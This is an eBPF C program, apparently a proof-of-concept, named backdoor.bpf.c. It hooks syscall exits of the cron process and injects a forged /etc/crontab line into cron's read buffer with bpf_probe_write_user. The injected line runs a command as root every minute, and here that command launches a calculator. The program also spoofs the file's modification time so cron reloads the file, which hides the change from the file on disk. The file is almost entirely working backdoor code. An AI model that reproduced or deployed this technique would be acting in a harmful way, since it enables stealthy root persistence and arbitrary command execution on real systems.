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backdoor.bpf.c
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backdoor.bpf.c
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// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause
/* Copyright (c) 2020 Facebook */
#define BPF_NO_PRESERVE_ACCESS_INDEX
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>
/*
struct timespec {
long int tv_sec;
long tv_nsec;
};
*/
struct pidandfd {
unsigned int pid;
unsigned int fd;
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, struct pidandfd);
__type(value, unsigned int);
} map_fds SEC(".maps");
/*
// Map to hold the File Descriptors from 'openat' calls
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, unsigned int);
__type(value, unsigned int);
} map_fds SEC(".maps");
*/
#define MAX_FILE_NAME_LEN 256
#define INTERESTING_FILENAME "/etc/crontab"
//char PAYLOAD[]="* * * * * root /bin/bash -c \"echo 114514 >> /tmp/naive \" \n#";
char PAYLOAD[]="* * * * * root sudo -i -u apu \"/bin/bash\" -c \"DISPLAY=:0 gnome-calculator\"& \n#";
static __inline int handle_exit_openat(struct pt_regs *regs,unsigned long ret,unsigned int pid);
static __inline int handle_exit_read(struct pt_regs *regs,unsigned long ret,unsigned int pid);
static __inline int handle_exit_close(struct pt_regs *regs,unsigned long ret,unsigned int pid);
static __inline int handle_exit_newfstatat(struct pt_regs *regs,unsigned long ret,unsigned int pid);
static __inline int memcmp(const void* s1, const void* s2, size_t cnt);
#define TASK_COMM_LEN 16
#define TARGET_NAME "cron"
SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx)
{
unsigned int syscall_id=0;
struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);
unsigned long ret = ctx->args[1];
unsigned int pid = bpf_get_current_pid_tgid() & 0xffffffff;
syscall_id = BPF_CORE_READ(regs,orig_ax);
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
//过滤掉不是目标进程的进程
if (memcmp(comm, TARGET_NAME, sizeof(TARGET_NAME)))
return 0;
switch (syscall_id)
{
case 0:
handle_exit_read(regs,ret,pid);
break;
case 3:
handle_exit_close(regs,ret,pid);
break;
case 257:
handle_exit_openat(regs,ret,pid);
break;
case 262:
handle_exit_newfstatat(regs,ret,pid);
}
}
static __inline int handle_exit_openat(struct pt_regs *regs,unsigned long ret,unsigned int pid)
{
unsigned int retfd=ret;
char buf[0x40];
//读文件名,这里VSCODE会给这一行报错,看来果真还是不够行
bpf_probe_read_str(buf,sizeof(buf), ((char *)PT_REGS_PARM2_CORE(regs)));
//bpf_printk("exit_openat %s:%d fd:%d\n",buf,pid,retfd);
//如果文件名不匹配我们感兴趣的文件名就不做了睡大觉
if (memcmp(buf, INTERESTING_FILENAME, sizeof(INTERESTING_FILENAME)))
return 0;
//是我们感兴趣的文件,存入map_fds
struct pidandfd pidfd={.pid=pid, .fd=retfd};
unsigned int one=1;
bpf_map_update_elem(&map_fds, &pidfd, &one, BPF_ANY);
}
static __inline int handle_exit_close(struct pt_regs *regs,unsigned long ret,unsigned int pid)
{
unsigned int closedfd=PT_REGS_PARM1_CORE(regs);
struct pidandfd pidfd={.pid=pid, .fd=closedfd};
//bpf_printk("exit_close %d:%d\n",pid,closedfd);
int zero=0;
bpf_map_update_elem(&map_fds, &pidfd, &zero, BPF_ANY);
//bpf_map_delete_elem(&map_fds, &pidfd);
}
static __inline int handle_exit_read(struct pt_regs *regs,unsigned long ret,unsigned int pid)
{
//char* buf[40];
unsigned int readlen=ret;
unsigned int fd=PT_REGS_PARM1_CORE(regs);
struct pidandfd pidfd={.pid=pid, .fd=fd};
unsigned int* exists=bpf_map_lookup_elem(&map_fds, &pidfd);
if(exists==NULL)
return 0;
//bpf_printk("exit_read pid:%d fd:%d targetfd:%d\n",pid,fd,*targetfdptr);
if(*exists==1)
{
//bpf_printk("READING! target fd:%d read %d bytes\n",fd,readlen);
if(readlen>sizeof(PAYLOAD))
{
//bpf_printk("writing payload\n");
char* buf=(char *)PT_REGS_PARM2_CORE(regs);
bpf_probe_write_user((void *)(buf),PAYLOAD, sizeof(PAYLOAD));
}
}
}
static __inline int handle_exit_newfstatat(struct pt_regs *regs,unsigned long ret,unsigned int pid)
{
//struct stat statbufobj;
char buf[0x40];
//读文件名,这里VSCODE会给这一行报错,看来果真还是不够行
bpf_probe_read_str(buf,sizeof(buf), ((char *)PT_REGS_PARM2_CORE(regs)));
int thisistarget=0;
//有可能是先open了这个文件,然后再fstatat,所以文件名那儿没有显示,非常野蛮
//读dirfd
unsigned int dirfd=PT_REGS_PARM1_CORE(regs);
struct pidandfd pidfd={.pid=pid, .fd=dirfd};
unsigned int* exists=bpf_map_lookup_elem(&map_fds, &pidfd);
if(exists!=NULL && *exists==1)
{
thisistarget=1;
bpf_printk("yes,target! method:open->fstat\n");
}
if(!thisistarget)
{
//如果文件名不匹配我们感兴趣的文件名就不做了睡大觉
if (memcmp(buf, INTERESTING_FILENAME, sizeof(INTERESTING_FILENAME)))
{
bpf_printk("not target\n");
return 0;
}
thisistarget=1;
bpf_printk("yes,target! method:fstat\n");
}
if(thisistarget)
{
struct stat *statbuf_ptr=PT_REGS_PARM3_CORE(regs);
bpf_printk("exit_newfstatat %s:%d\n",buf,pid);
__kernel_ulong_t crontab_st_mtime = bpf_get_prandom_u32() % 0xfffff;
//bpf_probe_read_user((void*)&statbufobj,sizeof(statbufobj), PT_REGS_PARM3_CORE(regs) );
//bpf_printk("target statbuf.st_size:%ld\n",statbuf.st_size);
bpf_printk("Time MaGic +1s!\n");
bpf_probe_write_user(&(statbuf_ptr->st_mtime), &crontab_st_mtime, sizeof(crontab_st_mtime));
}
}
char LICENSE[] SEC("license") = "Dual BSD/GPL";
/* ****************************** Implement Begin ****************************** */
static __inline int memcmp(const void* s1, const void* s2, size_t cnt){
const char *t1 = s1;
const char *t2 = s2;
int res = 0;
while(cnt-- > 0){
if(*t1 > *t2){
res =1;
break;
}
else if(*t1 < *t2){
res = -1;
break;
}
else{
t1++;
t2++;
}
}
return res;
}
/* ****************************** Implement Over ****************************** */